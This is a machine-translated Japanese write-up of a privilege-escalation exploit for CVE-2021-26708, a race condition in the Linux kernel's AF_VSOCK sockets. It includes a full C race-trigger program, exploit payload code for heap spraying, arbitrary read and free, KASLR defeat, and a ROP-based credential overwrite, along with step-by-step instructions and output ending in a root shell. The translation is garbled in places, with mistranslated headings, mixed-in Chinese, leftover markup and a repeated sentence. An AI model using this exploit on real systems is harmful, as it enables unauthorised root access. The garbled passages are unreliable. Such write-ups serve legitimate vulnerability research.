vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

AF_VSOCKのソケット作成は、非特権ユーザが利用でき、ユーザ名空間を必要としません。


メモリの破損

以下は、CVE-2021-26708の悪用についての詳細です。この悪用は、vsock_stream_etssockopt()の条件付き競争を利用しており、回復には2つのスレッドが必要で、最初のスレッドがsetsockopt()を呼び出します。

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));


2番目のスレッドは、vsock_stream_etssockopt()がソケットロックを取得しようとしたときに、仮想ソケットのトランスポートを変更しますが、これは仮想ソケットを再接続することで実現します。

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));


仮想ソケットのconnect()を処理するために、カーネルはvsock_assign_transport()を呼び出したvsock_stream_connect()を実行します。 この関数には以下のコードが含まれています。

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect()にはソケットロックがあり、並列スレッドのvsock_stream_setsockopt()もソケットロックを取得しようとするため、条件付きの競合となります。 その結果、異なるsvm_cidで2回目のconnect()を実行した際に、vsock_deassign_transport()関数が呼び出されます。 この関数は、virtio_transport_destruct()を実行し、vsock_sock.transを解放し、vsk->transportをNULLに設定する。 stream_connect()がソケットのロックを解除することで、vsock_stream_setsockopt()の実行を継続することができます。 vsock_update_buffer_size()を呼び出し、続いてtransport->notify_buffer_size()を呼び出します。 ここでtransportは、vsk->transportに一致しないローカル変数からの廃止された値を含んでいます(原因はNULLに設定されています)。

カーネルがvirtio_transport_notify_buffer_size()を実行すると、メモリが破壊されます。

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

ここで,vvsはカーネルメモリへのポインタであり,virtio_transport_destruct()で解放されている。struct virtio_vsock_sock は 64 バイトのサイズで、kmalloc-64 ブロックキャッシュに配置されています。VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL buf_alloc フィールドタイプは u32 で、オフセット 40 にある。valの値は攻撃者が制御し、その最下位4バイトが解放されたメモリに書き込まれます。


ファジーテスト

syzkaller fuzzerにはこのクラッシュを再現する方法がないので、自分で調べてみることにしました。 しかし、なぜfuzzerは失敗するのか? vsock_update_buffer_size()を見てみると、次のようなことがわかりました。

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

notify_buffer_size()はvalが現在のbuffer_sizeと異なる場合にのみ呼び出され、setsockopt()SO_VM_SOCKETS_BUFFER_SIZEを実行します。 code>の場合、sizeパラメータは呼び出されるたびに異なるはずです。 そこで、コードを作ってみました。

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <[email protected]>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

ここでのサイズの値は、clock_gettime()が返すナノ秒の数から取得されるため、毎回異なる値になる可能性があります。 オリジナルの syzkaller では、syscall パラメータの値は syzkaller がファジング入力を生成する際に決定され、実行時には変更されないため、この処理は行われません。

四字熟語の威力

ここでは、研究対象としてFedora 33 Serverを選び、カーネルバージョン5.10.11-200.fc33.x86_64で、SMEPとSMAPを回避することにしました。

その第一歩として、私は安定したヒープイジェクションに取り組み始めました。これは、ユーザースペースを実行する活動を利用して、カーネルが解放されたvirtio_vsock_sockの場所に別の64バイトのオブジェクトを割り当てるようにするものです。 数回の実験の後、リリースされた virtio_vsock_sock が上書きされていることが確認され、ヒープインジェクションが実行可能であることがわかりました。 最終的に msgsnd() システムコールを見つけました。これはカーネル空間で msg_msg 構造体を作成します。

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

表はメッセージのヘッダー、裏はメッセージのデータです。 ユーザ空間の struct msgbuf に 16 バイトの mtext がある場合、対応する msg_msg が kmalloc-64 ブロック・キャッシュに作成されます。 4 バイトの write-after-free により、オフセット 40 の void *security ポインタが破壊されます。msg_msg.securityフィールドは、msg_msgを受信したときに、lsm_msg_alloc()によって割り当てられ、security_msg_msg_free()によって解放されたカーネルデータを指します。 このように、セキュリティ・ポインターの前半部分を壊すことで、任意の自由を得ることができます。

社内コア情報の漏洩

Used here BC%8F%E6%B4%9E CVE-2019-18683で同じ仕掛けをしています。 バーチャルソケットの2回目のconnect()では、vsock_deassign_transport()を呼び出し、vsk->transportをNULLに設定することで、vsock_stream_setsockopt()<? /code>call virtio_transport_send_pkt_info()の後に、カーネルアラームでメモリクラッシュが発生したことがあります。

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

gdbによるデバッグで、RCXレジスタには解放されたvirtio_vsock_sockのカーネルアドレスが、RBXレジスタにはvsock_sockのカーネルアドレスが入っていることがわかりました。

どこでも読める

從 arbitrary free 到 use-after-free

リークされたカーネルアドレスからのオブジェクトの解放 ヒープスプレーを行い、制御されたデータでオブジェクトを上書きする 破損したオブジェクトを特権昇格に利用する System V メッセージのカーネルの実装では、DATALEN_MSG の最大値は、PAGE_SIZE から sizeof(struct msg_msg)を引いた値に制限されています。) より大きなメッセージを送信した場合、残りのメッセージはメッセージセグメントのリストに保存されます。msg_msgは、最初のセグメントを指すstruct msg_msgseg *nextと、サイズを格納する size_t m_tsを含んでいます。 上書き操作を行うと、制御された値が msg_msg.m_ts と msg_msg.next に配置されます。

T01a51dfe7a996e854c.png


Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

しかし、msg_msgを使って内部監査データを読むにはどうすればいいのでしょうか? msgrcv()のシステムコールファイルを読んでみると、msgrcv()とMSGフラグを使った良い解決策が見つかりました:。

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

このフラグは、メッセージデータをメッセージキューから削除することなく、カーネルがユーザースペースにコピーすることを意味します。 カーネルにCONFIG_CHECKPOINT_RESTORE=yが設定されている場合、MSGは利用可能であり、Fedora Serverでも適用可能です。

任意の読み取りのためのステップ

準備 sched_getaffinity()およびCPU_COUNT()を使用して、使用可能なCPUの数を計算します(このエクスプロイトでは、少なくとも2つのCPUが必要です)。 パージングのために/dev/kmsgを開く。 mmap()は、userfaultfd()をspray_dataメモリ領域の最後の部分として設定します。 userfaultfd()イベントを処理するために、別のpthreadを起動します。 msg_msgでsetxattr()とuserfaultfd()のヒープインジェクションを行うために127個のスレッドを立ち上げ、thread_barrierに掛けます。 オリジナルのmsg_msgのカーネルアドレスを取得します。 仮想ソケットの条件付き競争 2回目のconnect()の後、ビジー・ループで35マイクロ秒待つ。 msgsnd() を呼び出して別のメッセージキューを作成します。メモリ破壊の後、msg_msg ペアは virtio_vsock_sock の場所に置かれます。 カーネルログを解析し、カーネル警告(RCXレジスタ)からmsg_msgのカーネルアドレスを保存する。 また,RBXレジスタからvsock_sockのカーネルアドレスが格納される。 破壊された msg_msg を使って、元の msg_msg の任意の解放を行います。 メモリ破壊を実装するために、SO_VM_SOCKETS_BUFFER_SIZEとして、オリジナルのmsg_msgアドレスの4バイトを使用します。 仮想ソケットの条件付き競争 msgsnd()は2回目のconnect()の直後に呼び出され、msg_msgは破壊を実装するためにvirtio_vsock_sockの場所に置かれます。 破棄された msg_msg のセキュリティ・ポインタには、(ステップ 2 からの)元の msg_msg のアドレスが格納されます。

T01a2a2d47c9494c4a5.png

msgsnd()の処理中にsetsockopt()スレッドのmsg_msg.securityメモリの破損が発生し、さらにSELinuxの特権チェックが失敗する場合。 この場合、msgsnd()は-1を返し、破損したmsg_msgは破棄されます。msg_msg.securityを解放すると、元のmsg_msgが解放されます。 オリジナルのmsg_msgを制御可能なペイロードで上書きします。 msgsnd()が失敗した後、この脆弱性はpthread_barrier_wait()を呼び出し、ヒープイジェクションに使用される127のpthreadを呼び出します。 これらのpthreadは、setxattr()のペイロードを実行します。 オリジナルの msg_msg は制御可能なデータで上書きされ、msg_msg.next は vsock_sock オブジェクトが格納されているアドレスを指します。

T0140baae964febb059.png

上書きされたmsg_msgを保持するメッセージキューからメッセージを受信して、vsock_sockカーネルオブジェクトの内容をユーザ空間に読み出す。

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

ターゲットを見つける

私が見つけたポイントを紹介します。 1. PINGv6やsock_inode_cacheのような専用ブロックキャッシュは、オブジェクトへの多くのポインタを持っています。 2. struct mem_cgroup *sk_memcg pointer at vsock_sock.sk offset 664. mem_cgroup構造体は、kmalloc-4kブロックキャッシュに割り当てられます。 3. vsock_sock.skのオフセット840にあるconst struct cred *ownerポインタは、特権昇格のためにオーバーライドできるクレデンシャルのアドレスを保持します。 4. void (*sk_write_space)(struct sock *)関数は、vsock_sock.skのオフセット688にあるsock_def_write_space()カーネル関数のアドレスに設定されます。 KASLRのオフセットを計算するために使用することができます。

脆弱性がメモリからこれらのピンを抽出する方法は以下の通りです。

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

sk_buffにUse-after-freeを実装する

Linuxカーネルのネットワーク関連のバッファは、struct sk_buffで表されます。 このペアには、skb_shared_infoとdestructor_argがあり、ストリームハイジャックの制御に利用できます。 ネットワークデータとskb_shared_infoは、sk_buff.headが指す同じカーネルメモリブロックに配置されます。 したがって、ユーザースペースで2800バイトのネットワークパケットを作成すると、mem_cgroupのペアと同様に、skb_shared_infoがkmalloc-4kブロックキャッシュに割り当てられます。

以下の手順で構築しました。

socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)を使って、クライアントソケットと32個のサーバーソケットを作成する。

ユーザースペースに2800バイトのバッファを用意し、0x42でmemset()する。

3. sendto()を使用して、このバッファをクライアントソケットから、kmalloc-4kでsk_buffオブジェクトを作成するために使用した各サーバーソケットに送信する。 利用可能なCPUごとに`sched_setaffinity()を使用します。

4.vsock_sockに任意の読み取り手続きを行う

sk_memcgに4096(kmalloc-4kの次の要素)を加えたsk_buffのカーネルアドレスを計算する。

6.この可能性のあるsk_buffのアドレスに任意の読み取りを行う。

7. ネットワークデータの位置に0x424242424242luが見つかった場合、実際のsk_buffを見つけ、ステップ8に進む。そうでない場合、可能性のあるsk_buffのアドレスに4096を加え、ステップ6に進む。

8. sk_buff が 32 個の pthread の setxattr() と userfaultfd() のヒープジェットを実行し、それを pthread_barrier にフックする。

9.sk_buffカーネルアドレスの恣意的な公開

10. pthread_barrier_wait() を呼び出し、32 の setxattr() を実行して skb_shared_info の heapspray pthreads を上書きする。

11.サーバ・ソケットからネットワーク・メッセージを受信するには、recv()を使用します。

skb_shared_infoで任意に書き込み

以下は、オーバーライドされたsk_buffオブジェクトの有効なペイロードです。

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_infoは、排出されたデータのちょうどSKB_SHINFO_OFFSETの位置、すなわち3776バイト目に存在する。skb_shared_info.destructor_arg ポインタには、struct ubuf_info のアドレスが格納される。 攻撃されたsk_buffのカーネルアドレスがわかっているので、ネットワークバッファのMY_UINFO_OFFSETに偽のubuf_infoを作成することができます。有効なペイロードのレイアウトは以下のとおりです。

T0185ccbf9f025c74da.png

ここでは、destructor_argのコールバックを紹介します。

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

vmlinuz-5.10.11-200.fc33.x86_64では、私のニーズを満たすガジェットが見つからないので、自分で調べて作ってみました。

コールバック関数のポインタにはROPガジェットのアドレスが格納され、RDIにはコールバック関数の第1引数であるubuf_info自身のアドレスが格納され、RDI + 8はubuf_info.descを指す。ガジェットはubuf_info.descをRDXに移動する。現在RDX には、有効なユーザーIDとグループIDから1バイトを除いたアドレスが含まれています。 このバイトは重要です。ガジェットがRSIからRDXが指すメモリにメッセージ1を書き込むと、有効なuidとgidは0で上書きされます。 権限がrootに昇格するまで同じプロセスを繰り返します。プロセス全体の出力ストリームは次のようになります。

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

ビデオ


参考 https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html